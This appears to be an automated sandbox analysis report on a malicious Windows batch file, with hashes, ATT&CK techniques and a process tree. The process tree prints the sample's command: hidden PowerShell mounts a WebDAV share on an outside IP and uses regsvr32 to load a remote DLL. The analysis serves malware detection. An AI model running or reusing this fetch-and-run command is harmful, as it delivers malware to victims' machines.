0f6d9e0b62b77d64370e411f896368004b3564eb312641b4884374f2f7fd72e9

Analysis

max time kernel
134s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 17:07

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General

Target

13788112522372921275.bat
Size

20KB
MD5

eef9f97abac3a6d52f1235a13469cfe5
SHA1

a7bcc45ca679bc4d6e899544be29d848a82c5814
SHA256

0f6d9e0b62b77d64370e411f896368004b3564eb312641b4884374f2f7fd72e9
SHA512

6d26b0f45df800ce55398553a05382da4279e82a6031478aef18d2cc281d3282246cd8544571e8ede2738fb17d7aa5a520fefef1ee78a5bea52c2c5ece10ebd8
SSDEEP

384:f/R8WhPd4OQn1kFlOfOtXdkuRouEG3z9/JKGX7v1amOiee:f/R8WsO0kMuNkumK3zJgS9rb/

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3508	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3508	powershell.exe
3508	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3508	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4524	wordpad.exe
4524	wordpad.exe
4524	wordpad.exe
4524	wordpad.exe
4524	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 4524	5052	cmd.exe	85
PID 5052 wrote to memory of 4524	5052	cmd.exe	85
PID 5052 wrote to memory of 3508	5052	cmd.exe	87
PID 5052 wrote to memory of 3508	5052	cmd.exe	87
PID 3508 wrote to memory of 1704	3508	powershell.exe	89
PID 3508 wrote to memory of 1704	3508	powershell.exe	89
PID 3508 wrote to memory of 1624	3508	powershell.exe	90
PID 3508 wrote to memory of 1624	3508	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\13788112522372921275.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\290561072619129.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1704
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\290561072619129.dll
    3⤵
    PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n3b5r5mj.aqz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3508-9-0x0000022665880000-0x00000226658A2000-memory.dmp

Filesize
136KB

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